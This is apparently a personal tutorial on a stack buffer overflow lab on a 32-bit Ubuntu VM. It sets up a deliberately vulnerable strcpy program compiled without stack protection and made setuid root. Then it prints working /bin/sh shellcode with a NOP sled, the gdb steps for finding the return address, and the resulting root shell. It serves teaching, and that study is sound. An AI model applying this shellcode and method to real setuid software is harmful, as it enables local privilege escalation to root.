In Ubuntu system, there is some protection scheme deployed to avoid buffer overflow attacks. Before deploying the attack, we should disable all the kernel functionality that protect the system from buffer overflow.
The program I am going to use is a small piece of c code that uses a strcpy function. The program is shown bellow. The machine I am using is a VirtualBox Ubuntu 12.04 32bit hosted on a 64bit Windows 7.
1/* file: bof.c */
2/* This is a vulnerable program that can be exploited easily */
3#include <stdlib.h>
4#include <stdio.h>
5#include <string.h>
6
7int main(int argc, char *argv[]){
8 char buffer[100];
9 strcpy(buffer, argv[1]);
10 return 0;
11}
First, Ubuntu and several other Linux-based systems use address space layout randomization (ASLR) to fuzz the starting address of heap and stack. This makes guessing the exact addresses difficult. For simplicity reason, we can turn off the protection by the following command
This will disable the ASLR buffer overflow mechanism.
A bit about Address Space Layout Randomisation (ASLR) 1
ASLR is implemented by the kernel and the ELF loader by randomising the location of memory allocations (stack, heap, shared libraries, etc). This makes memory addresses harder to predict when an attacker is attempting a memory-corruption exploit. ASLR is controlled system-wide by the value of /proc/sys/kernel/randomize_va_space. Prior to Ubuntu 8.10, this defaulted to “1” (on). In later releases that included brk ASLR, it defaults to “2” (on, with brk ASLR).
Next is the gcc options for making the buffer overflow practical. The first one is StackGuard and the second is DEP, which stand for Data Execution Prevention. We can “turn on” these options in compiling the vulnerable program and make the overrun return address can be realized and the code resides in the buffer can be executed.
A bit about Data Execution Prevention (DEP) 2
Another defense mechanism that has been implemented is called DEP, which stands for Data Execution Prevention. This is an attempt to prevent the return address from being changed into something in the same memory space as the data, and also prevent machine code (the code that buffer overflows are crafted in) from being placed into data segments. Return Oriented Programming (ROP) is used when defeating modern DEP.
To combat additional filters, attackers have developed polymorphic and multi-architecture alphanumeric shellcode and polymorphic ASCII machine code and shellcodes. ASCII and Polymorphic ASCII code looks to many filters like normal user input instead of malicious binary or machine code.
Following gcc command removes the stack protection and enable the code to execute from stack. Disable the stack protection is by the gcc option -fno-stack-protector
, and the -z execstack
is making the code can execute from the stack.
1gcc -g -fno-stack-protector -z execstack bof.c -o bof
Setuid binary is used for this example to ensure the retrieval of a root shell. Set up the bof binary for setuid below:
1rui@rui-VMUbuntu:~/code/vul_impl$ sudo chown root:root ./bof
2rui@rui-VMUbuntu:~/code/vul_impl$ sudo chmod 4755 ./bof
Then we can check how many bytes it needs to overwrite the return address. We run the executable with 100 chars first, and then gradually increase the string parameter by 4 bytes. As shown in the following, we need 116 = 112 + 4 bytes to overwrite the return address, in which the last 4 bytes is the return address we are want to jump to, because it is an address space in the stack that holds our shellcode.
1rui@rui-VMUbuntu:~/code/vul_impl$ ./bof `perl -e 'print "A"x104'`
2rui@rui-VMUbuntu:~/code/vul_impl$ ./bof `perl -e 'print "A"x108'`
3rui@rui-VMUbuntu:~/code/vul_impl$ ./bof `perl -e 'print "A"x112'`
4Illegal instruction (core dumped)
We are going to use the following large string to overflow the buffer. The string length is 60(nop) + 45(shellcode) + 7(rubbish) + 4 = 116 bytes.
1`ruby -e 'print "\x90"*60,"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", "A"*7, "\x20\xf5\xff\xbf"'`
The last 4 bytes is the address for the nop
bytes resides in the buffer. You can first put some random bytes such as “\x41\x41\x41\x41”. Then to using gdb to peek the address space, to find where the “\x90” is, and substitute for the last 4 bytes, in this experiment, it is “\x20\xf5\xff\xbf”. Here is how we get there.
1rui@rui-VMUbuntu:~/code/vul_impl$ gdb -q bof
2Reading symbols from /home/rui/code/vul_impl/bof...done.
3(gdb) break main
4Breakpoint 1 at 0x80483ed: file bof.c, line 7.
5(gdb) r `ruby -e 'print "\x90"*60,"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", "A"*7, "\x20\xf5\xff\xbf"'`
6Starting program: /home/rui/code/vul_impl/bof `ruby -e 'print "\x90"*60,"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", "A"*7, "\x20\xf5\xff\xbf"'`
7
8Breakpoint 1, main (argc=3, argv=0xbffff374) at bof.c:7
97 strcpy(buffer, argv[1]);
10(gdb) x/200x $esp
110xbffff250: 0xbffff28f 0xbffff28e 0x00000000 0xb7ff3fdc
120xbffff260: 0xbffff314 0xb7fdd000 0x00000000 0xb7e57053
130xbffff270: 0x0804824c 0x00000000 0x2cb4304e 0x00000001
140xbffff280: 0xbffff4ed 0x0000002f 0xbffff2dc 0xb7fc4ff4
150xbffff290: 0x08048410 0x08049ff4 0x00000003 0x080482dd
160xbffff2a0: 0xb7fc53e4 0x00000005 0x08049ff4 0x08048431
170xbffff2b0: 0xffffffff 0xb7e571a6 0xb7fc4ff4 0xb7e57235
180xbffff2c0: 0xb7fed270 0x00000000 0x08048419 0xb7fc4ff4
190xbffff2d0: 0x08048410 0x00000000 0x00000000 0xb7e3d4d3
200xbffff2e0: 0x00000003 0xbffff374 0xbffff384 0xb7fdc858
210xbffff2f0: 0x00000000 0xbffff31c 0xbffff384 0x00000000
220xbffff300: 0x0804821c 0xb7fc4ff4 0x00000000 0x00000000
230xbffff310: 0x00000000 0xe62392a7 0xde6f76b7 0x00000000
240xbffff320: 0x00000000 0x00000000 0x00000003 0x08048330
250xbffff330: 0x00000000 0xb7ff26a0 0xb7e3d3e9 0xb7ffeff4
260xbffff340: 0x00000003 0x08048330 0x00000000 0x08048351
270xbffff350: 0x080483e4 0x00000003 0xbffff374 0x08048410
280xbffff360: 0x08048480 0xb7fed270 0xbffff36c 0xb7fff918
290xbffff370: 0x00000003 0xbffff4ed 0xbffff509 0xbffff57a
300xbffff380: 0x00000000 0xbffff57e 0xbffff591 0xbffff5bc
310xbffff390: 0xbffff5cc 0xbffff5d7 0xbffff628 0xbffff63a
320xbffff3a0: 0xbffff664 0xbffff66d 0xbffffb8e 0xbffffbc8
330xbffff3b0: 0xbffffbfc 0xbffffc22 0xbffffc58 0xbffffcb6
340xbffff3c0: 0xbffffcc1 0xbffffcf1 0xbffffd0b 0xbffffd71
350xbffff3d0: 0xbffffd80 0xbffffd9c 0xbffffdad 0xbffffdc4
360xbffff3e0: 0xbffffdfd 0xbffffe1c 0xbffffe25 0xbffffe3a
370xbffff3f0: 0xbffffe49 0xbffffe51 0xbffffe7d 0xbffffe89
380xbffff400: 0xbffffeeb 0xbfffff3d 0xbfffff5d 0xbfffff6a
390xbffff410: 0xbfffff84 0xbfffffa6 0xbfffffc7 0x00000000
400xbffff420: 0x00000020 0xb7fdd414 0x00000021 0xb7fdd000
410xbffff430: 0x00000010 0x078bfbff 0x00000006 0x00001000
420xbffff440: 0x00000011 0x00000064 0x00000003 0x08048034
430xbffff450: 0x00000004 0x00000020 0x00000005 0x00000009
440xbffff460: 0x00000007 0xb7fde000 0x00000008 0x00000000
450xbffff470: 0x00000009 0x08048330 0x0000000b 0x000003e8
460xbffff480: 0x0000000c 0x000003e8 0x0000000d 0x000003e8
470xbffff490: 0x0000000e 0x000003e8 0x00000017 0x00000001
480xbffff4a0: 0x00000019 0xbffff4cb 0x0000001f 0xbfffffe0
490xbffff4b0: 0x0000000f 0xbffff4db 0x00000000 0x00000000
500xbffff4c0: 0x00000000 0x00000000 0xe5000000 0x29b0036b
510xbffff4d0: 0x2eec0ce3 0x2df0e10c 0x694c8f9c 0x00363836
520xbffff4e0: 0x00000000 0x00000000 0x00000000 0x6f682f00
53---Type <return> to continue, or q <return> to quit---
540xbffff4f0: 0x722f656d 0x632f6975 0x2f65646f 0x5f6c7576
550xbffff500: 0x6c706d69 0x666f622f 0x90909000 0x90909090
560xbffff510: 0x90909090 0x90909090 0x90909090 0x90909090
570xbffff520: 0x90909090 0x90909090 0x90909090 0x90909090
580xbffff530: 0x90909090 0x90909090 0x90909090 0x90909090
590xbffff540: 0x90909090 0x5e1feb90 0x31087689 0x074688c0
600xbffff550: 0xb00c4689 0x8df3890b 0x568d084e 0x3180cd0c
610xbffff560: 0x40d889db 0xdce880cd 0x2fffffff 0x2f6e6962
The last step is to use the long string to hack the vulnerable program to get root access to the local machine. We issue the following command with the appropriate return address to overwrite. (the last 4 bytes of the array) You might try any stress in the highlighted address space shown above. I tried twice, and finally get it hacked, the following is the results I got.
1rui@rui-VMUbuntu:~/code/vul_impl$ ./bof `ruby -e 'print "\x90"*60,"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", "A"*7, "\x20\xf5\xff\xbf"'`
2Illegal instruction
3rui@rui-VMUbuntu:~/code/vul_impl$ ./bof `ruby -e 'print "\x90"*60,"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", "A"*7, "\x30\xf5\xff\xbf"'`
4# whoami
5root
6#
To sum it up, several things need to be mention in order to get it work correctly.
- Disable all the protection mechanisms, including Address Space Layout Randomisation (ASLR), Data Execution Prevention, and
-z execstack
option. - The vulnerable program complied executable
bof
should be setuid to root to make sure we get the root access shell. - To be patient about finding the return address.
That’s it!